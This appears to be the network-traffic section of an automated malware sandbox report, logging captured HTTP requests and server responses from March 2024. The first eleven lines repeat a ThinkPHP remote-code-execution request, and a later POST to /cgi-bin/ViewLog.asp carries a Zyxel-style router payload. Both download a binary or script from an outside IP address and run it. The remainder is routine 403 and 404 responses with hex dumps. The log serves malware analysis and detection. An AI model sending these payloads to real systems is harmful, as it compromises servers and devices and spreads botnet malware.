Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Uirusu/2.0

Source: unknown

DNS traffic detected: queries for: daisy.ubuntu.com

Source: unknown

HTTP traffic detected: POST /cgi-bin/ViewLog.asp HTTP/1.1Host: 192.168.0.14:80Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.20.0Content-Length: 227Content-Type: application/x-www-form-urlencodedData Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1X-AREQUESTID: 845x130274x1X-ASEN: SEN-5432835Set-Cookie: atlassian.xsrf.token=BIHT-ZB1L-VACQ-AATO\|a6b3f39301367c6477984e6971345c0e2974a6c9\|lout; Path=/X-AUSERNAME: anonymousX-Content-Type-Options: nosniffSet-Cookie: JSESSIONID=E4152EFA6525594A4CA826054DE617D1; Path=/; HttpOnlyContent-Encoding: gzipVary: User-AgentContent-Type: text/html;charset=UTF-8Content-Length: 955Date: Mon, 04 Mar 2024 14:05:46 GMTData Raw: 1f 8b 08 00 00 00 00 00 00 00 ad 56 dd 6e db 36 14 be f7 53 30 ca 85 5b 6c 94 6c d7 09 e6 4c 12 10 64 01 ea 02 6d 83 6e 03 36 14 bd 38 96 8e 6c a6 12 a9 91 94 5d 5f ec 61 f6 2c 7b b1 1d 8a b4 e3 64 8e 3b 0c d5 85 2c 8a e7 e7 3b df f9 0e e5 f4 ec a7 f7 37 bf fc 7e 77 cb 56 b6 a9 f3 d4 dd 59 0d 72 99 45 28 23 5a 23 94 79 da a0 05 56 ac 40 1b b4 59 d4 d9 8a ff 10 85 b7 2b 6b 5b 8e 7f 74 62 9d 45 bf f1 5f af f9 8d 6a 5a b0 62 51 63 c4 0a 25 2d 4a 72 99 df 66 58 2e 91 9c ac b0 35 e6 ef 55 6b be 67 28 9d 81 06 63 91 75 92 d5 42 7e 66 4d 87 da aa 98 71 f6 66 fe e1 3a 4d bc 7d 6a 0a 2d 5a cb ec b6 c5 2c b2 f8 c5 26 f7 b0 06 ff 36 ca fb 3c 5f ec 1d d8 15 cb 58 14 fd 98 26 7e 2b 4f fb a0 bd db b0 77 2b 8c 19 32 8d 75 36 34 76 5b a3 59 21 da 21 5b 69 ac b2 61 62 2c 21 2f 38 18 aa d3 24 ae be 9a 43 5d c7 bd 53 83 a5 80 6c 48 eb e1 1e 8f d1 c5 09 b7 7b 43 96 7b 24 67 9c 7f 14 15 ab 2d 9b df b2 d9 a7 6f 03 8d 0b fc 9f e8 9c e7 13 80 1f 51 96 a2 fa c4 f9 1e ec b7 45 3a 3b 02 f5 30 69 2f 28 09 0d b5 b8 c4 42 69 b0 4a 1f 88 48 2a 49 9a 4a 08 b1 57 e5 42 95 5b 56 d4 94 28 8b 18 6a ad 34 6f 61 89 fe 71 3a 9a 46 5f 93 4d a9 8a ae a1 d0 b1 8b 14 f7 91 de 51 76 f6 1d 69 88 dd 1b 8e 12 48 c6 e5 a1 9c 4a b1 66 a2 cc 22 97 28 8c 07 ea fe 8d 7f 8c 98 56 35 e5 5a 80 94 b4 0a 58 51 f7 8c b2 f3 60 ef 8a 35 58 58 a1 64 ef 1b 4a dc 39 37 20 dc ec b9 5c a1 3c e8 44 5f 1b dd 24 d6 a7 f6 b8 08 89 77 f1 8f 5b 85 8c ac 56 1b d4 37 21 fd 43 79 9e 4d d7 49 57 a5 21 9f 5d 1c bf e3 08 75 c5 b9 1d 62 61 fc f5 81 26 22 c6 79 da d5 4e 4c f9 3b 58 e3 12 34 03 3a 6a 58 0a 5e 39 d1 43 6b ae 36 42 96 6a 13 af 84 21 09 6c e3 05 14 9f 5f bc 8c f2 f6 ef bf 96 42 02 03 c2 ab 85 d2 69 02 04 82 02 3e 1f 34 21 1e 3a 8d c9 db ed 1b a1 e1 b5 6a 9c ea 5b 88 f2 bb 10 ab 44 36 97 a2 10 ea 21 58 e2 60 26 c4 85 ab d0 d3 e8 fb 17 3f c3 a2 eb a7 b7 3f 66 d5 77 e4 b4 8d df 7d 94 eb fc 30 78 a5 94 0d 3a f3 8f 3b a9 04 23 21 2b f5 ef 9e 7b 53 ee d4 1d e5 83 c1 80 e8 df cb c1 ba 5f 01 92 87 78 f9 80 d1 e5 78 ec 1f dc 75 bd b3 e9 8f 62 47 69 70 36 a8 b8 eb 6d 14 38 76 df 00 73 95 24 9b cd 26 de 07 8e 0b d5 24 46 55 76 03 44 ff 3d 91 4f 9c 6b 75 4f 10 d9 5b 90 54 ba 1b 3d f6 73 b0 70 ec 0f f6 a9 4f 5d cf 1a ed 37 bc 60 1f c8 e2 8b 4e d4 25 77 24 e9 06 1c 43 51 fe 62 7d 19 4f e3 f1 f4 fc 72 3a 9a cc b8 77 e9 3f 36 74 32 e1 e4 e2 b2 c2 51 b5 58 cc c6 93 c9 74 3c 9d 8d aa 6a 5c 60 51 2d 5e 4d 5e 21 8c 66 a3 Data Ascii: Vn6S0[llLdmn68l]_a,{d;,;7~wVYrE(#Z#yV@Y
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 04 Mar 2024 14:05:51 GMTServer: ApacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 181Keep-Alive: timeout=15, max=300Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e 4b 0f 82 30 10 84 ef fc 8a 95 bb 2c 1a 8e 4d 0f f2 88 24 88 c4 94 83 47 4c d7 94 04 69 a5 c5 c7 bf 97 c7 c5 e3 ec cc 37 b3 6c 93 9c 63 71 ad 52 38 8a 53 01 55 7d 28 f2 18 fc 2d 62 9e 8a 0c 31 11 c9 ea ec 83 10 31 2d 7d ee 31 e5 1e 1d 67 8a 1a 39 09 d7 ba 8e 78 14 46 50 6a 07 99 1e 7b c9 70 3d 7a 0c 97 10 bb 69 f9 9d b9 1d ff cb 4c ca 63 86 0b 45 30 d0 73 24 eb 48 42 7d 29 00 db 5e d2 27 30 ca c0 bb b1 d0 4f c8 7d 46 40 f7 e0 54 6b c1 d2 f0 a2 21 60 68 e6 89 a5 7c aa 9b 9f f2 7e 74 46 9f df cf 00 00 00 Data Ascii: MK0,M$GLi7lcqR8SU}(-b11-}1g9xFPj{p=ziLcE0s$HB})^'0O}F@Tk!`h\|~tF
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 04 Mar 2024 14:05:51 GMTServer: ApacheVary: Accept-EncodingContent-Encoding: gzipContent-Length: 181Keep-Alive: timeout=15, max=300Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e 4b 0f 82 30 10 84 ef fc 8a 95 bb 2c 1a 8e 4d 0f f2 88 24 88 c4 94 83 47 4c d7 94 04 69 a5 c5 c7 bf 97 c7 c5 e3 ec cc 37 b3 6c 93 9c 63 71 ad 52 38 8a 53 01 55 7d 28 f2 18 fc 2d 62 9e 8a 0c 31 11 c9 ea ec 83 10 31 2d 7d ee 31 e5 1e 1d 67 8a 1a 39 09 d7 ba 8e 78 14 46 50 6a 07 99 1e 7b c9 70 3d 7a 0c 97 10 bb 69 f9 9d b9 1d ff cb 4c ca 63 86 0b 45 30 d0 73 24 eb 48 42 7d 29 00 db 5e d2 27 30 ca c0 bb b1 d0 4f c8 7d 46 40 f7 e0 54 6b c1 d2 f0 a2 21 60 68 e6 89 a5 7c aa 9b 9f f2 7e 74 46 9f df cf 00 00 00 Data Ascii: MK0,M$GLi7lcqR8SU}(-b11-}1g9xFPj{p=ziLcE0s$HB})^'0O}F@Tk!`h\|~tF
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not foundConnection: closeData Raw: 34 30 34 3a 20 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0d 0a Data Ascii: 404: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundAccess-Control-Allow-Origin: *Cache-Control: no-cache,no-storeContent-Type: text/plainContent-Length: 35Connection: keep-alive
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 04 Mar 2024 16:06:20 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 04 Mar 2024 16:09:57 GMTServer: WebsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffX-XSS-Protection: 1;mode=blockCache-Control: no-storeContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: WebServerDate: Wed, 18 Jun 2003 22:06:19 GMTConnection: closeContent-Type: text/htmlContent-length: 126Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: <HTML><HEAD><TITLE>Document Error: Not Found</TITLE></HEAD><BODY><H2>Access Error: 404 -- Not Found</H2></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 04 Mar 2024 17:10:04 GMTServer: WebsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffX-XSS-Protection: 1;mode=blockCache-Control: no-storeContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 04 Mar 2024 14:07:07 GMTServer: Apache/2.2.22 (Debian)Vary: Accept-EncodingContent-Encoding: gzipContent-Length: 240Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f 4f 4f c3 30 0c c5 ef fd 14 66 27 38 10 97 6a 07 0e 51 24 58 3b 31 a9 8c 0a b2 03 c7 b4 31 a4 d2 96 84 24 e3 df a7 27 ed 34 09 59 b2 64 fb fd 9e 9e f9 45 fd b4 92 af 5d 03 0f f2 b1 85 6e 77 df 6e 56 b0 b8 46 dc 34 72 8d 58 cb fa 74 a9 58 89 d8 6c 17 a2 e0 26 1d f6 82 1b 52 3a 0f 69 4c 7b 12 cb 72 09 5b 97 60 ed 8e 56 73 3c 2d 0b 8e b3 88 f7 4e ff 4c dc 8d f8 a7 c9 53 c1 bd 90 86 20 d0 c7 91 62 22 0d bb e7 16 70 b4 9a be 99 37 1e be 54 04 9b 91 b7 09 01 67 21 99 31 42 a4 f0 49 81 71 f4 93 69 c8 4d 69 1d 28 46 71 e7 d5 60 08 2b 96 ab 82 cb 9a fa 51 d9 2b 78 99 01 50 09 74 5f b1 77 4a bf 83 f3 c4 06 77 80 ce 85 04 b7 25 c7 b3 45 0e 3d c7 cd 01 a7 37 8b 3f bc 8b 6b 1f 21 01 00 00 Data Ascii: MOO0f'8jQ$X;11$'4YdE]nwnVF4rXtXl&R:iL{r[`Vs<-NLS b"p7Tg!1BIqiMi(Fq`+Q+xPt_wJw%E=7?k!
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 04 Mar 2024 16:08:29 GMTServer: WebsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffX-XSS-Protection: 1;mode=blockCache-Control: no-storeContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 04 Mar 2024 14:07:16 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 04 Mar 2024 14:07:16 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundserver: owsdcontent-type: text/htmlcontent-length: 38Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 04 Mar 2024 15:07:28 GMTServer: WebsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffX-XSS-Protection: 1;mode=blockPragma: no-cacheCache-Control: must-revalidateCache-Control: no-cacheCache-Control: no-storeExpires: 0Content-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Founddate: Mon, 04 Mar 2024 14:07:44 GMTserver: uvicorncontent-length: 22content-type: application/json
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-type: text/htmlContent-Length: 0Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Type: text/plainTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 04 Mar 2024 17:37:53 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
